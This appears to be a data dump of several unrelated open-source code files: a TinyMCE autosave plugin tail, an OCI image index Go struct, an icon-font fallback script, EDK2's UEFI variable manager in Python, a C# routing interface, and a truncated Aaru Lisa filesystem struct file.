content\r\n\t\t\t\t\t});\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * This method will return true/false if there is a local storage draft available.\r\n\t\t *\r\n\t\t * @method hasDraft\r\n\t\t * @return {boolean} true/false state if there is a local draft.\r\n\t\t */\r\n\t\thasDraft : function() {\r\n\t\t\tvar self = this, storage = self.storage, expDate, exists;\r\n\r\n\t\t\tif (storage) {\r\n\t\t\t\t// Does the item exist at all\r\n\t\t\t\texists = !!storage.getItem(self.key);\r\n\t\t\t\tif (exists) {\r\n\t\t\t\t\t// Storage needs autoexpire\r\n\t\t\t\t\tif (!self.storage.autoExpires) {\r\n\t\t\t\t\t\texpDate = new Date(storage.getItem(self.key + \"_expires\"));\r\n\r\n\t\t\t\t\t\t// Contents hasn't expired\r\n\t\t\t\t\t\tif (new Date().getTime() < expDate.getTime())\r\n\t\t\t\t\t\t\treturn TRUE;\r\n\r\n\t\t\t\t\t\t// Remove it if it has\r\n\t\t\t\t\t\tself.removeDraft();\r\n\t\t\t\t\t} else\r\n\t\t\t\t\t\treturn TRUE;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\treturn false;\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Removes the currently stored draft.\r\n\t\t *\r\n\t\t * @method removeDraft\r\n\t\t */\r\n\t\tremoveDraft : function() {\r\n\t\t\tvar self = this, storage = self.storage, key = self.key, content;\r\n\r\n\t\t\tif (storage) {\r\n\t\t\t\t// Get current contents and remove the existing draft\r\n\t\t\t\tcontent = storage.getItem(key);\r\n\t\t\t\tstorage.removeItem(key);\r\n\t\t\t\tstorage.removeItem(key + \"_expires\");\r\n\r\n\t\t\t\t// Dispatch remove event if we had any contents\r\n\t\t\t\tif (content) {\r\n\t\t\t\t\tself.onRemoveDraft.dispatch(self, {\r\n\t\t\t\t\t\tcontent : content\r\n\t\t\t\t\t});\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t},\r\n\r\n\t\t\"static\" : {\r\n\t\t\t// Internal unload handler will be called before the page is unloaded\r\n\t\t\t_beforeUnloadHandler : function(e) {\r\n\t\t\t\tvar msg;\r\n\r\n\t\t\t\ttinymce.each(tinyMCE.editors, function(ed) {\r\n\t\t\t\t\t// Store a draft for each editor instance\r\n\t\t\t\t\tif (ed.plugins.autosave)\r\n\t\t\t\t\t\ted.plugins.autosave.storeDraft();\r\n\r\n\t\t\t\t\t// Never ask in fullscreen mode\r\n\t\t\t\t\tif (ed.getParam(\"fullscreen_is_enabled\"))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// Setup a return message if the editor is dirty\r\n\t\t\t\t\tif (!msg && ed.isDirty() && ed.getParam(\"autosave_ask_before_unload\"))\r\n\t\t\t\t\t\tmsg = ed.getLang(\"autosave.unload_msg\");\r\n\t\t\t\t});\r\n\r\n\t\t\t\treturn msg;\r\n\t\t\t}\r\n\t\t}\r\n\t});\r\n\r\n\ttinymce.PluginManager.add('autosave', tinymce.plugins.AutoSave);\r\n})(tinymce);\r\n"}
+{"text": "// Copyright 2016 The Linux Foundation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage v1\n\nimport \"github.com/opencontainers/image-spec/specs-go\"\n\n// Index references manifests for various platforms.\n// This structure provides `application/vnd.oci.image.index.v1+json` mediatype when marshalled to JSON.\ntype Index struct {\n\tspecs.Versioned\n\n\t// Manifests references platform specific manifests.\n\tManifests []Descriptor `json:\"manifests\"`\n\n\t// Annotations contains arbitrary metadata for the image index.\n\tAnnotations map[string]string `json:\"annotations,omitempty\"`\n}\n"}
+{"text": "/* Load this script using conditional IE comments if you need to support IE 7 and IE 6. */\n\nwindow.onload = function() {\n\tfunction addIcon(el, entity) {\n\t\tvar html = el.innerHTML;\n\t\tel.innerHTML = '' + entity + '' + html;\n\t}\n\tvar icons = {\n\t\t\t'icon-user-unfollow' : '',\n\t\t\t'icon-user-friends' : '',\n\t\t\t'icon-user-following' : '',\n\t\t\t'icon-user-follow' : '',\n\t\t\t'icon-trophy' : '',\n\t\t\t'icon-speedometer' : '',\n\t\t\t'icon-social-youtube' : '',\n\t\t\t'icon-social-twitter' : '',\n\t\t\t'icon-social-tumblr' : '',\n\t\t\t'icon-social-facebook' : '',\n\t\t\t'icon-social-dropbox' : '',\n\t\t\t'icon-social-dribbble' : '',\n\t\t\t'icon-shield' : '',\n\t\t\t'icon-screen-tablet' : '',\n\t\t\t'icon-screen-smartphone' : '',\n\t\t\t'icon-screen-desktop' : '',\n\t\t\t'icon-plane' : '',\n\t\t\t'icon-notebook' : '',\n\t\t\t'icon-moustache' : '',\n\t\t\t'icon-mouse' : '',\n\t\t\t'icon-magnet' : '',\n\t\t\t'icon-magic-wand' : '',\n\t\t\t'icon-hourglass' : '',\n\t\t\t'icon-graduation' : '',\n\t\t\t'icon-ghost' : '',\n\t\t\t'icon-game-controller' : '',\n\t\t\t'icon-fire' : '',\n\t\t\t'icon-eyeglasses' : '',\n\t\t\t'icon-envelope-open' : '',\n\t\t\t'icon-envelope-letter' : '',\n\t\t\t'icon-energy' : '',\n\t\t\t'icon-emoticon-smile' : '',\n\t\t\t'icon-disc' : '',\n\t\t\t'icon-cursor-move' : '',\n\t\t\t'icon-crop' : '',\n\t\t\t'icon-credit-card' : '',\n\t\t\t'icon-chemistry' : '',\n\t\t\t'icon-bell' : '',\n\t\t\t'icon-badge' : '',\n\t\t\t'icon-anchor' : '',\n\t\t\t'icon-action-redo' : '',\n\t\t\t'icon-action-undo' : '',\n\t\t\t'icon-bag' : '',\n\t\t\t'icon-basket' : '',\n\t\t\t'icon-basket-loaded' : '',\n\t\t\t'icon-book-open' : '',\n\t\t\t'icon-briefcase' : '',\n\t\t\t'icon-bubbles' : '',\n\t\t\t'icon-calculator' : '',\n\t\t\t'icon-call-end' : '',\n\t\t\t'icon-call-in' : '',\n\t\t\t'icon-call-out' : '',\n\t\t\t'icon-compass' : '',\n\t\t\t'icon-cup' : '',\n\t\t\t'icon-diamond' : '',\n\t\t\t'icon-direction' : '',\n\t\t\t'icon-directions' : '',\n\t\t\t'icon-docs' : '',\n\t\t\t'icon-drawer' : '',\n\t\t\t'icon-drop' : '',\n\t\t\t'icon-earphones' : '',\n\t\t\t'icon-earphones-alt' : '',\n\t\t\t'icon-feed' : '',\n\t\t\t'icon-film' : '',\n\t\t\t'icon-folder-alt' : '',\n\t\t\t'icon-frame' : '',\n\t\t\t'icon-globe' : '',\n\t\t\t'icon-globe-alt' : '',\n\t\t\t'icon-handbag' : '',\n\t\t\t'icon-layers' : '',\n\t\t\t'icon-map' : '',\n\t\t\t'icon-picture' : '',\n\t\t\t'icon-pin' : '',\n\t\t\t'icon-playlist' : '',\n\t\t\t'icon-present' : '',\n\t\t\t'icon-printer' : '',\n\t\t\t'icon-puzzle' : '',\n\t\t\t'icon-speech' : '',\n\t\t\t'icon-vector' : '',\n\t\t\t'icon-wallet' : '',\n\t\t\t'icon-arrow-down' : '',\n\t\t\t'icon-arrow-left' : '',\n\t\t\t'icon-arrow-right' : '',\n\t\t\t'icon-arrow-up' : '',\n\t\t\t'icon-bar-chart' : '',\n\t\t\t'icon-bulb' : '',\n\t\t\t'icon-calendar' : '',\n\t\t\t'icon-control-end' : '',\n\t\t\t'icon-control-forward' : '',\n\t\t\t'icon-control-pause' : '',\n\t\t\t'icon-control-play' : '',\n\t\t\t'icon-control-rewind' : '',\n\t\t\t'icon-control-start' : '',\n\t\t\t'icon-cursor' : '',\n\t\t\t'icon-dislike' : '',\n\t\t\t'icon-equalizer' : '',\n\t\t\t'icon-graph' : '',\n\t\t\t'icon-grid' : '',\n\t\t\t'icon-home' : '',\n\t\t\t'icon-like' : '',\n\t\t\t'icon-list' : '',\n\t\t\t'icon-login' : '',\n\t\t\t'icon-logout' : '',\n\t\t\t'icon-loop' : '',\n\t\t\t'icon-microphone' : '',\n\t\t\t'icon-music-tone' : '',\n\t\t\t'icon-music-tone-alt' : '',\n\t\t\t'icon-note' : '',\n\t\t\t'icon-pencil' : '',\n\t\t\t'icon-pie-chart' : '',\n\t\t\t'icon-question' : '',\n\t\t\t'icon-rocket' : '',\n\t\t\t'icon-share' : '',\n\t\t\t'icon-share-alt' : '',\n\t\t\t'icon-shuffle' : '',\n\t\t\t'icon-size-actual' : '',\n\t\t\t'icon-size-fullscreen' : '',\n\t\t\t'icon-support' : '',\n\t\t\t'icon-tag' : '',\n\t\t\t'icon-trash' : '',\n\t\t\t'icon-umbrella' : '',\n\t\t\t'icon-wrench' : '',\n\t\t\t'icon-ban' : '',\n\t\t\t'icon-bubble' : '',\n\t\t\t'icon-camcorder' : '',\n\t\t\t'icon-camera' : '',\n\t\t\t'icon-check' : '',\n\t\t\t'icon-clock' : '',\n\t\t\t'icon-close' : '',\n\t\t\t'icon-cloud-download' : '',\n\t\t\t'icon-cloud-upload' : '',\n\t\t\t'icon-doc' : '',\n\t\t\t'icon-envelope' : '',\n\t\t\t'icon-eye' : '',\n\t\t\t'icon-flag' : '',\n\t\t\t'icon-folder' : '',\n\t\t\t'icon-heart' : '',\n\t\t\t'icon-info' : '',\n\t\t\t'icon-key' : '',\n\t\t\t'icon-link' : '',\n\t\t\t'icon-lock' : '',\n\t\t\t'icon-lock-open' : '',\n\t\t\t'icon-magnifier' : '',\n\t\t\t'icon-magnifier-add' : '',\n\t\t\t'icon-magnifier-remove' : '',\n\t\t\t'icon-paper-clip' : '',\n\t\t\t'icon-paper-plane' : '',\n\t\t\t'icon-plus' : '',\n\t\t\t'icon-pointer' : '',\n\t\t\t'icon-power' : '',\n\t\t\t'icon-refresh' : '',\n\t\t\t'icon-reload' : '',\n\t\t\t'icon-settings' : '',\n\t\t\t'icon-star' : '',\n\t\t\t'icon-symbol-female' : '',\n\t\t\t'icon-symbol-male' : '',\n\t\t\t'icon-target' : '',\n\t\t\t'icon-user-female' : '',\n\t\t\t'icon-user-male' : '',\n\t\t\t'icon-volume-1' : '',\n\t\t\t'icon-volume-2' : '',\n\t\t\t'icon-volume-off' : ''\n\t\t},\n\t\tels = document.getElementsByTagName('*'),\n\t\ti, attr, c, el;\n\tfor (i = 0; ; i += 1) {\n\t\tel = els[i];\n\t\tif(!el) {\n\t\t\tbreak;\n\t\t}\n\t\tattr = el.getAttribute('data-icon');\n\t\tif (attr) {\n\t\t\taddIcon(el, attr);\n\t\t}\n\t\tc = el.className;\n\t\tc = c.match(/icon-[^\\s'\"]+/);\n\t\tif (c && icons[c[0]]) {\n\t\t\taddIcon(el, icons[c[0]]);\n\t\t}\n\t}\n};"}
+{"text": "# Copyright (c) 2017 - 2018, Intel Corporation. All rights reserved.
      \r\n# SPDX-License-Identifier: BSD-2-Clause-Patent\r\n\r\n#\r\n# This file is used to collect the Variable checking information\r\n#\r\n\r\n# #\r\n# Import Modules\r\n#\r\nfrom struct import pack, unpack\r\nimport collections\r\nimport copy\r\nfrom Common.VariableAttributes import VariableAttributes\r\nfrom Common.Misc import *\r\nimport collections\r\nimport Common.DataType as DataType\r\n\r\nvar_info = collections.namedtuple(\"uefi_var\", \"pcdindex,pcdname,defaultstoragename,skuname,var_name, var_guid, var_offset,var_attribute,pcd_default_value, default_value, data_type,PcdDscLine,StructurePcd\")\r\nNvStorageHeaderSize = 28\r\nVariableHeaderSize = 32\r\n\r\nclass VariableMgr(object):\r\n    def __init__(self, DefaultStoreMap, SkuIdMap):\r\n        self.VarInfo = []\r\n        self.DefaultStoreMap = DefaultStoreMap\r\n        self.SkuIdMap = SkuIdMap\r\n        self.VpdRegionSize = 0\r\n        self.VpdRegionOffset = 0\r\n        self.NVHeaderBuff = None\r\n        self.VarDefaultBuff = None\r\n        self.VarDeltaBuff = None\r\n\r\n    def append_variable(self, uefi_var):\r\n        self.VarInfo.append(uefi_var)\r\n\r\n    def SetVpdRegionMaxSize(self, maxsize):\r\n        self.VpdRegionSize = maxsize\r\n\r\n    def SetVpdRegionOffset(self, vpdoffset):\r\n        self.VpdRegionOffset = vpdoffset\r\n\r\n    def PatchNVStoreDefaultMaxSize(self, maxsize):\r\n        if not self.NVHeaderBuff:\r\n            return \"\"\r\n        self.NVHeaderBuff = self.NVHeaderBuff[:8] + pack(\"=Q\", maxsize)\r\n        default_var_bin = VariableMgr.format_data(self.NVHeaderBuff + self.VarDefaultBuff + self.VarDeltaBuff)\r\n        value_str = \"{\"\r\n        default_var_bin_strip = [ data.strip(\"\"\"'\"\"\") for data in default_var_bin]\r\n        value_str += \",\".join(default_var_bin_strip)\r\n        value_str += \"}\"\r\n        return value_str\r\n\r\n    def combine_variable(self):\r\n        indexedvarinfo = collections.OrderedDict()\r\n        for item in self.VarInfo:\r\n            if (item.skuname, item.defaultstoragename, item.var_name, item.var_guid) not in indexedvarinfo:\r\n                indexedvarinfo[(item.skuname, item.defaultstoragename, item.var_name, item.var_guid) ] = []\r\n            indexedvarinfo[(item.skuname, item.defaultstoragename, item.var_name, item.var_guid)].append(item)\r\n        for key in indexedvarinfo:\r\n            sku_var_info_offset_list = indexedvarinfo[key]\r\n            sku_var_info_offset_list.sort(key=lambda x:x.PcdDscLine)\r\n            FirstOffset = int(sku_var_info_offset_list[0].var_offset, 16) if sku_var_info_offset_list[0].var_offset.upper().startswith(\"0X\") else int(sku_var_info_offset_list[0].var_offset)\r\n            fisrtvalue_list = sku_var_info_offset_list[0].default_value.strip(\"{\").strip(\"}\").split(\",\")\r\n            firstdata_type = sku_var_info_offset_list[0].data_type\r\n            if firstdata_type in DataType.TAB_PCD_NUMERIC_TYPES:\r\n                fisrtdata_flag = DataType.PACK_CODE_BY_SIZE[MAX_SIZE_TYPE[firstdata_type]]\r\n                fisrtdata = fisrtvalue_list[0]\r\n                fisrtvalue_list = []\r\n                pack_data = pack(fisrtdata_flag, int(fisrtdata, 0))\r\n                for data_byte in range(len(pack_data)):\r\n                    fisrtvalue_list.append(hex(unpack(\"B\", pack_data[data_byte:data_byte + 1])[0]))\r\n            newvalue_list = [\"0x00\"] * FirstOffset + fisrtvalue_list\r\n\r\n            for var_item in sku_var_info_offset_list[1:]:\r\n                CurOffset = int(var_item.var_offset, 16) if var_item.var_offset.upper().startswith(\"0X\") else int(var_item.var_offset)\r\n                CurvalueList = var_item.default_value.strip(\"{\").strip(\"}\").split(\",\")\r\n                Curdata_type = var_item.data_type\r\n                if Curdata_type in DataType.TAB_PCD_NUMERIC_TYPES:\r\n                    data_flag = DataType.PACK_CODE_BY_SIZE[MAX_SIZE_TYPE[Curdata_type]]\r\n                    data = CurvalueList[0]\r\n                    CurvalueList = []\r\n                    pack_data = pack(data_flag, int(data, 0))\r\n                    for data_byte in range(len(pack_data)):\r\n                        CurvalueList.append(hex(unpack(\"B\", pack_data[data_byte:data_byte + 1])[0]))\r\n                if CurOffset > len(newvalue_list):\r\n                    newvalue_list = newvalue_list + [\"0x00\"] * (CurOffset - len(newvalue_list)) + CurvalueList\r\n                else:\r\n                    newvalue_list[CurOffset : CurOffset + len(CurvalueList)] = CurvalueList\r\n\r\n            newvaluestr =  \"{\" + \",\".join(newvalue_list) +\"}\"\r\n            n = sku_var_info_offset_list[0]\r\n            indexedvarinfo[key] =  [var_info(n.pcdindex, n.pcdname, n.defaultstoragename, n.skuname, n.var_name, n.var_guid, \"0x00\", n.var_attribute, newvaluestr, newvaluestr, DataType.TAB_VOID,n.PcdDscLine,n.StructurePcd)]\r\n        self.VarInfo = [item[0] for item in list(indexedvarinfo.values())]\r\n\r\n    def process_variable_data(self):\r\n\r\n        var_data = collections.defaultdict(collections.OrderedDict)\r\n\r\n        indexedvarinfo = collections.OrderedDict()\r\n        for item in self.VarInfo:\r\n            if item.pcdindex not in indexedvarinfo:\r\n                indexedvarinfo[item.pcdindex] = dict()\r\n            indexedvarinfo[item.pcdindex][(item.skuname, item.defaultstoragename)] = item\r\n\r\n        for index in indexedvarinfo:\r\n            sku_var_info = indexedvarinfo[index]\r\n\r\n            default_data_buffer = \"\"\r\n            others_data_buffer = \"\"\r\n            tail = None\r\n            default_sku_default = indexedvarinfo[index].get((DataType.TAB_DEFAULT, DataType.TAB_DEFAULT_STORES_DEFAULT))\r\n\r\n            if default_sku_default.data_type not in DataType.TAB_PCD_NUMERIC_TYPES:\r\n                var_max_len = max(len(var_item.default_value.split(\",\")) for var_item in sku_var_info.values())\r\n                if len(default_sku_default.default_value.split(\",\")) < var_max_len:\r\n                    tail = \",\".join(\"0x00\" for i in range(var_max_len-len(default_sku_default.default_value.split(\",\"))))\r\n\r\n            default_data_buffer = VariableMgr.PACK_VARIABLES_DATA(default_sku_default.default_value, default_sku_default.data_type, tail)\r\n\r\n            default_data_array = ()\r\n            for item in range(len(default_data_buffer)):\r\n                default_data_array += unpack(\"B\", default_data_buffer[item:item + 1])\r\n\r\n            var_data[(DataType.TAB_DEFAULT, DataType.TAB_DEFAULT_STORES_DEFAULT)][index] = (default_data_buffer, sku_var_info[(DataType.TAB_DEFAULT, DataType.TAB_DEFAULT_STORES_DEFAULT)])\r\n\r\n            for (skuid, defaultstoragename) in indexedvarinfo[index]:\r\n                tail = None\r\n                if (skuid, defaultstoragename) == (DataType.TAB_DEFAULT, DataType.TAB_DEFAULT_STORES_DEFAULT):\r\n                    continue\r\n                other_sku_other = indexedvarinfo[index][(skuid, defaultstoragename)]\r\n\r\n                if default_sku_default.data_type not in DataType.TAB_PCD_NUMERIC_TYPES:\r\n                    if len(other_sku_other.default_value.split(\",\")) < var_max_len:\r\n                        tail = \",\".join(\"0x00\" for i in range(var_max_len-len(other_sku_other.default_value.split(\",\"))))\r\n\r\n                others_data_buffer = VariableMgr.PACK_VARIABLES_DATA(other_sku_other.default_value, other_sku_other.data_type, tail)\r\n\r\n                others_data_array = ()\r\n                for item in range(len(others_data_buffer)):\r\n                    others_data_array += unpack(\"B\", others_data_buffer[item:item + 1])\r\n\r\n                data_delta = VariableMgr.calculate_delta(default_data_array, others_data_array)\r\n\r\n                var_data[(skuid, defaultstoragename)][index] = (data_delta, sku_var_info[(skuid, defaultstoragename)])\r\n        return var_data\r\n\r\n    def new_process_varinfo(self):\r\n        self.combine_variable()\r\n\r\n        var_data = self.process_variable_data()\r\n\r\n        if not var_data:\r\n            return []\r\n\r\n        pcds_default_data = var_data.get((DataType.TAB_DEFAULT, DataType.TAB_DEFAULT_STORES_DEFAULT), {})\r\n        NvStoreDataBuffer = bytearray()\r\n        var_data_offset = collections.OrderedDict()\r\n        offset = NvStorageHeaderSize\r\n        for default_data, default_info in pcds_default_data.values():\r\n            var_name_buffer = VariableMgr.PACK_VARIABLE_NAME(default_info.var_name)\r\n\r\n            vendorguid = default_info.var_guid.split('-')\r\n\r\n            if default_info.var_attribute:\r\n                var_attr_value, _ = VariableAttributes.GetVarAttributes(default_info.var_attribute)\r\n            else:\r\n                var_attr_value = 0x07\r\n\r\n            DataBuffer = VariableMgr.AlignData(var_name_buffer + default_data)\r\n\r\n            data_size = len(DataBuffer)\r\n            offset += VariableHeaderSize + len(default_info.var_name.split(\",\"))\r\n            var_data_offset[default_info.pcdindex] = offset\r\n            offset += data_size - len(default_info.var_name.split(\",\"))\r\n\r\n            var_header_buffer = VariableMgr.PACK_VARIABLE_HEADER(var_attr_value, len(default_info.var_name.split(\",\")), len (default_data), vendorguid)\r\n            NvStoreDataBuffer += (var_header_buffer + DataBuffer)\r\n\r\n        variable_storage_header_buffer = VariableMgr.PACK_VARIABLE_STORE_HEADER(len(NvStoreDataBuffer) + 28)\r\n\r\n        nv_default_part = VariableMgr.AlignData(VariableMgr.PACK_DEFAULT_DATA(0, 0, VariableMgr.unpack_data(variable_storage_header_buffer+NvStoreDataBuffer)), 8)\r\n\r\n        data_delta_structure_buffer = bytearray()\r\n        for skuname, defaultstore in var_data:\r\n            if (skuname, defaultstore) == (DataType.TAB_DEFAULT, DataType.TAB_DEFAULT_STORES_DEFAULT):\r\n                continue\r\n            pcds_sku_data = var_data[(skuname, defaultstore)]\r\n            delta_data_set = []\r\n            for pcdindex in pcds_sku_data:\r\n                offset = var_data_offset[pcdindex]\r\n                delta_data, _ = pcds_sku_data[pcdindex]\r\n                delta_data = [(item[0] + offset, item[1]) for item in delta_data]\r\n                delta_data_set.extend(delta_data)\r\n\r\n            data_delta_structure_buffer += VariableMgr.AlignData(self.PACK_DELTA_DATA(skuname, defaultstore, delta_data_set), 8)\r\n\r\n        size = len(nv_default_part + data_delta_structure_buffer) + 16\r\n        maxsize = self.VpdRegionSize if self.VpdRegionSize else size\r\n        NV_Store_Default_Header = VariableMgr.PACK_NV_STORE_DEFAULT_HEADER(size, maxsize)\r\n\r\n        self.NVHeaderBuff =  NV_Store_Default_Header\r\n        self.VarDefaultBuff =nv_default_part\r\n        self.VarDeltaBuff =  data_delta_structure_buffer\r\n        return VariableMgr.format_data(NV_Store_Default_Header + nv_default_part + data_delta_structure_buffer)\r\n\r\n\r\n    @staticmethod\r\n    def format_data(data):\r\n        return  [hex(item) for item in VariableMgr.unpack_data(data)]\r\n\r\n    @staticmethod\r\n    def unpack_data(data):\r\n        final_data = ()\r\n        for item in range(len(data)):\r\n            final_data += unpack(\"B\", data[item:item + 1])\r\n        return final_data\r\n\r\n    @staticmethod\r\n    def calculate_delta(default, theother):\r\n        if len(default) - len(theother) != 0:\r\n            EdkLogger.error(\"build\", FORMAT_INVALID, 'The variable data length is not the same for the same PCD.')\r\n        data_delta = []\r\n        for i in range(len(default)):\r\n            if default[i] != theother[i]:\r\n                data_delta.append((i, theother[i]))\r\n        return data_delta\r\n\r\n    def dump(self):\r\n\r\n        default_var_bin = self.new_process_varinfo()\r\n        if default_var_bin:\r\n            value_str = \"{\"\r\n            default_var_bin_strip = [ data.strip(\"\"\"'\"\"\") for data in default_var_bin]\r\n            value_str += \",\".join(default_var_bin_strip)\r\n            value_str += \"}\"\r\n            return value_str\r\n        return \"\"\r\n\r\n    @staticmethod\r\n    def PACK_VARIABLE_STORE_HEADER(size):\r\n        #Signature: gEfiVariableGuid\r\n        Guid = \"{ 0xddcf3616, 0x3275, 0x4164, { 0x98, 0xb6, 0xfe, 0x85, 0x70, 0x7f, 0xfe, 0x7d }}\"\r\n        Guid = GuidStructureStringToGuidString(Guid)\r\n        GuidBuffer = PackGUID(Guid.split('-'))\r\n\r\n        SizeBuffer = pack('=L', size)\r\n        FormatBuffer = pack('=B', 0x5A)\r\n        StateBuffer = pack('=B', 0xFE)\r\n        reservedBuffer = pack('=H', 0)\r\n        reservedBuffer += pack('=L', 0)\r\n\r\n        return GuidBuffer + SizeBuffer + FormatBuffer + StateBuffer + reservedBuffer\r\n\r\n    @staticmethod\r\n    def PACK_NV_STORE_DEFAULT_HEADER(size, maxsize):\r\n        Signature = pack('=B', ord('N'))\r\n        Signature += pack(\"=B\", ord('S'))\r\n        Signature += pack(\"=B\", ord('D'))\r\n        Signature += pack(\"=B\", ord('B'))\r\n\r\n        SizeBuffer = pack(\"=L\", size)\r\n        MaxSizeBuffer = pack(\"=Q\", maxsize)\r\n\r\n        return Signature + SizeBuffer + MaxSizeBuffer\r\n\r\n    @staticmethod\r\n    def PACK_VARIABLE_HEADER(attribute, namesize, datasize, vendorguid):\r\n\r\n        Buffer = pack('=H', 0x55AA) # pack StartID\r\n        Buffer += pack('=B', 0x3F)  # pack State\r\n        Buffer += pack('=B', 0)     # pack reserved\r\n\r\n        Buffer += pack('=L', attribute)\r\n        Buffer += pack('=L', namesize)\r\n        Buffer += pack('=L', datasize)\r\n\r\n        Buffer += PackGUID(vendorguid)\r\n\r\n        return Buffer\r\n\r\n    @staticmethod\r\n    def PACK_VARIABLES_DATA(var_value,data_type, tail = None):\r\n        Buffer = bytearray()\r\n        data_len = 0\r\n        if data_type == DataType.TAB_VOID:\r\n            for value_char in var_value.strip(\"{\").strip(\"}\").split(\",\"):\r\n                Buffer += pack(\"=B\", int(value_char, 16))\r\n            data_len += len(var_value.split(\",\"))\r\n            if tail:\r\n                for value_char in tail.split(\",\"):\r\n                    Buffer += pack(\"=B\", int(value_char, 16))\r\n                data_len += len(tail.split(\",\"))\r\n        elif data_type == \"BOOLEAN\":\r\n            Buffer += pack(\"=B\", True) if var_value.upper() in [\"TRUE\",\"1\"] else pack(\"=B\", False)\r\n            data_len += 1\r\n        elif data_type  == DataType.TAB_UINT8:\r\n            Buffer += pack(\"=B\", GetIntegerValue(var_value))\r\n            data_len += 1\r\n        elif data_type == DataType.TAB_UINT16:\r\n            Buffer += pack(\"=H\", GetIntegerValue(var_value))\r\n            data_len += 2\r\n        elif data_type == DataType.TAB_UINT32:\r\n            Buffer += pack(\"=L\", GetIntegerValue(var_value))\r\n            data_len += 4\r\n        elif data_type == DataType.TAB_UINT64:\r\n            Buffer += pack(\"=Q\", GetIntegerValue(var_value))\r\n            data_len += 8\r\n\r\n        return Buffer\r\n\r\n    @staticmethod\r\n    def PACK_DEFAULT_DATA(defaultstoragename, skuid, var_value):\r\n        Buffer = bytearray()\r\n        Buffer += pack(\"=L\", 4+8+8)\r\n        Buffer += pack(\"=Q\", int(skuid))\r\n        Buffer += pack(\"=Q\", int(defaultstoragename))\r\n\r\n        for item in var_value:\r\n            Buffer += pack(\"=B\", item)\r\n\r\n        Buffer = pack(\"=L\", len(Buffer)+4) + Buffer\r\n\r\n        return Buffer\r\n\r\n    def GetSkuId(self, skuname):\r\n        if skuname not in self.SkuIdMap:\r\n            return None\r\n        return self.SkuIdMap.get(skuname)[0]\r\n\r\n    def GetDefaultStoreId(self, dname):\r\n        if dname not in self.DefaultStoreMap:\r\n            return None\r\n        return self.DefaultStoreMap.get(dname)[0]\r\n\r\n    def PACK_DELTA_DATA(self, skuname, defaultstoragename, delta_list):\r\n        skuid = self.GetSkuId(skuname)\r\n        defaultstorageid = self.GetDefaultStoreId(defaultstoragename)\r\n        Buffer = bytearray()\r\n        Buffer += pack(\"=L\", 4+8+8)\r\n        Buffer += pack(\"=Q\", int(skuid))\r\n        Buffer += pack(\"=Q\", int(defaultstorageid))\r\n        for (delta_offset, value) in delta_list:\r\n            Buffer += pack(\"=L\", delta_offset)\r\n            Buffer = Buffer[:-1] + pack(\"=B\", value)\r\n\r\n        Buffer = pack(\"=L\", len(Buffer) + 4) + Buffer\r\n\r\n        return Buffer\r\n\r\n    @staticmethod\r\n    def AlignData(data, align = 4):\r\n        mybuffer = data\r\n        if (len(data) % align) > 0:\r\n            for i in range(align - (len(data) % align)):\r\n                mybuffer += pack(\"=B\", 0)\r\n\r\n        return mybuffer\r\n\r\n    @staticmethod\r\n    def PACK_VARIABLE_NAME(var_name):\r\n        Buffer = bytearray()\r\n        for name_char in var_name.strip(\"{\").strip(\"}\").split(\",\"):\r\n            Buffer += pack(\"=B\", int(name_char, 16))\r\n\r\n        return Buffer\r\n"}
+{"text": "using System.Collections.Generic;\n\nnamespace AttributeRouting.Framework\n{\n    /// \n    /// Abstraction used by  when generating an .\n    /// \n    /// \n    /// Due to different route implementations in\n    /// System.Web.Routing (used for mvc controller routes) and\n    /// System.Web.Http.Routing (used for web api controllers).\n    /// \n    public interface IAttributeRouteFactory\n    {\n        /// \n        /// Create attribute routes from the given metadata.\n        /// \n        IEnumerable CreateAttributeRoutes(string url, IDictionary defaults, IDictionary constraints, IDictionary dataTokens);\n    }\n}\n"}
+{"text": "// /***************************************************************************\n// Aaru Data Preservation Suite\n// ----------------------------------------------------------------------------\n//\n// Filename       : Structs.cs\n// Author(s)      : Natalia Portillo \n//\n// Component      : Apple Lisa filesystem plugin.\n//\n// --[ Description ] ----------------------------------------------------------\n//\n//     Apple Lisa filesystem structures.\n//\n// --[ License ] --------------------------------------------------------------\n//\n//     This library is free software; you can redistribute it and/or modify\n//     it under the terms of the GNU Lesser General Public License as\n//     published by the Free Software Foundation; either version 2.1 of the\n//     License, or (at your option) any later version.\n//\n//     This library is distributed in the hope that it will be useful, but\n//     WITHOUT ANY WARRANTY; without even the implied warranty of\n//     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n//     Lesser General Public License for more details.\n//\n//     You should have received a copy of the GNU Lesser General Public\n//     License along with this library; if not, see .\n//\n// ----------------------------------------------------------------------------\n// Copyright © 2011-2020 Natalia Portillo\n// ****************************************************************************/\n\nusing System;\n\n// ReSharper disable NotAccessedField.Local\n\nnamespace Aaru.Filesystems.LisaFS\n{\n    public sealed partial class LisaFS\n    {\n        /// \n        ///     The MDDF is the most import block on a Lisa FS volume. It describes the volume and its contents. On\n        ///     initialization the memory where it resides is not emptied so it tends to contain a lot of garbage. This has\n        ///     difficulted its reverse engineering.\n        /// \n        struct MDDF\n        {\n            /// 0x00, Filesystem version\n            public ushort fsversion;\n            /// 0x02, Volume ID\n            public ulong volid;\n            /// 0x0A, Volume sequence number\n            public ushort volnum;\n            /// 0x0C, Pascal string, 32+1 bytes, volume name\n            public string volname;\n            /// 0x2D, unknown, possible padding\n            public byte unknown1;\n            /// 0x2E, Pascal string, 32+1 bytes, password\n            public string password;\n            /// 0x4F, unknown, possible padding\n            public byte unknown2;\n            /// 0x50, Lisa serial number that init'ed this disk\n            public uint machine_id;\n            /// 0x54, ID of the master copy ? no idea really\n            public uint master_copy_id;\n            /// 0x58, Date of volume creation\n            public DateTime dtvc;\n            /// 0x5C, Date...\n            public DateTime dtcc;\n            /// 0x60, Date of volume backup\n            public DateTime dtvb;\n            /// 0x64, Date of volume scavenging\n            public DateTime dtvs;\n          